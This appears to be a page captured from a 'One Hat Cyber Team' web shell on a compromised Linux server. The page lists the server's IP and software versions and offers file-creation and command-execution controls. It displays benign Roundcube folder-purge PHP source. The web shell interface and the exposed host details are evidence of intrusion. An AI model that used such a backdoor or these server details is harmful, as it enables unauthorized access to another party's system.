⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-roundcube
/
program
/
actions
/
mail
/
View File Name :
folder_purge.php
| +-----------------------------------------------------------------------+ */ class rcmail_action_mail_folder_purge extends rcmail_action_mail_index { // only process ajax requests protected static $mode = self::MODE_AJAX; /** * Request handler. * * @param array $args Arguments from the previous step(s) */ public function run($args = []) { $rcmail = rcmail::get_instance(); $storage = $rcmail->get_storage(); $delimiter = $storage->get_hierarchy_delimiter(); $mbox = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true); $trash_mbox = $rcmail->config->get('trash_mbox'); $trash_regexp = '/^' . preg_quote($trash_mbox . $delimiter, '/') . '/'; // we should only be purging trash (or their subfolders) if (!strlen($trash_mbox) || $mbox === $trash_mbox || preg_match($trash_regexp, $mbox)) { $success = $storage->delete_message('*', $mbox); $delete = true; } // move to Trash else { $success = $storage->move_message('1:*', $trash_mbox, $mbox); $delete = false; } if ($success) { $rcmail->output->show_message('folderpurged', 'confirmation'); $rcmail->output->command('set_unread_count', $mbox, 0); self::set_unseen_count($mbox, 0); // set trash folder state if ($mbox === $trash_mbox) { $rcmail->output->command('set_trash_count', 0); } else if (strlen($trash_mbox)) { $rcmail->output->command('set_trash_count', $rcmail->storage->count($trash_mbox, 'EXISTS')); } if (!$delete && strlen($trash_mbox)) { self::send_unread_count($trash_mbox, true); } if (!empty($_REQUEST['_reload'])) { $rcmail->output->set_env('messagecount', 0); $rcmail->output->set_env('pagecount', 0); $rcmail->output->set_env('exists', 0); $rcmail->output->command('message_list.clear'); $rcmail->output->command('set_rowcount', self::get_messagecount_text(), $mbox); $rcmail->output->command('set_quota', self::quota_content(null, $mbox)); } } else { self::display_server_error(); } $rcmail->output->send(); } }